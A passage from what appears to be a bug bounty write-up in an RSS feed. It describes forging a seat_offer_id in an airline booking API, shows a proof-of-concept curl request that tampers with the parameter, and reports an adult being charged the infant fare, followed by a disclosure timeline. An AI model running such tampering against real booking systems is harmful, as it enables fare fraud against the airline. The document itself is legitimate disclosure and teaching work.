}<br>  ],<br>  &quot;charge_transactions&quot;: [<br>    {<br>      &quot;service_id&quot;: &quot;seat_selection/example_infant_id/123456789&quot;,<br>      &quot;amount&quot;: 6.99,<br>      &quot;currency&quot;: &quot;EUR&quot;<br>    }<br>  ]<br>}</pre><p><strong>The server accepted my fabricated </strong><strong>seat_offer_id and returned </strong><strong>200 OK</strong> — the infant now had a confirmed, priced seat, even though this seat was never offered to them in the legitimate flow.</p><p><strong>The app said “infants can’t have seats”</strong> → but I created one and the server accepted it.</p><p><strong>Why this matters:</strong> The backend didn’t validate that the seat_offer_id I sent was actually offered to that passenger. It trusted my client-side input.</p><h3>Request 4: Standalone PoC (cURL)</h3><p>I reproduced the same behavior using a plain HTTP client outside the browser to rule out client-side UI constraints:</p><p>bash</p><pre>curl -X POST &quot;https://example.com/api/perses/offer/example_offer_id/seats&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;leg_id&quot;:&quot;123456789&quot;,&quot;passenger_id&quot;:&quot;example_infant_id&quot;,&quot;seat_offer_id&quot;:&quot;123456789_example_infant_id_28_E&quot;}&#39;</pre><p><strong>Response:</strong></p><p>text</p><pre>HTTP/1.1 200 OK<br>{&quot;services&quot;:[...]}</pre><p>Same result → 200 OK with confirmed seat assignment.</p><h3>Step 4: “Adult Pays Adult Price” → But He Paid Infant Price</h3><p>Now here’s where it gets interesting.</p><p>The passenger had:</p><ul><li>expected_type: &quot;i&quot; (infant)</li><li>date_of_birth: 2000-01-01 (adult)</li></ul><p>When I proceeded to checkout, I noticed something:</p><p>What It Should BeWhat Actually HappenedAdult fare: 7,926.69 EGPCharged: 1,465.08 EGPPrice difference6,461.61 EGP</p><p><strong>The passenger was charged as an infant</strong> despite being an adult according to the date of birth.</p><p><strong>An adult should pay adult price</strong> → but he paid infant price.</p><h3>Timeline</h3><p>DateEvent19/07/2026Report submitted20/07/2026Accepted by platform, forwarded to vendor22/07/2026Vendor rejected as False Positive (claimed validation happens later)</p><p>🤍 <strong>في الآخر أتمنى تكون استفدت بأي حاجة، ومتنساش تدعي لإخواننا المسلمين في كل بقاع الأرض، وخصوصاً في فلسطين.</strong></p><p><strong>Connect with me:</strong></p><ul><li>LinkedIn: <a href="https://www.linkedin.com/in/ahmed-ali-a34443239?utm_source=share_via&amp;utm_content=profile&amp;utm_medium=member_android">https://www.linkedin.com/in/ahmed-ali-a34443239?utm_source=share_via&amp;utm_content=profile&amp;utm_medium=member_android</a></li><li>Twitter/X:<a href="https://x.com/AhmedAl63414254">https://x.com/AhmedAl63414254</a></li></ul><p><em>“سبحانك اللهم وبحمدك، أشهد أن لا إله إلا أنت، أستغفرك وأتوب إليك.”</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b52d2ada7ffd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>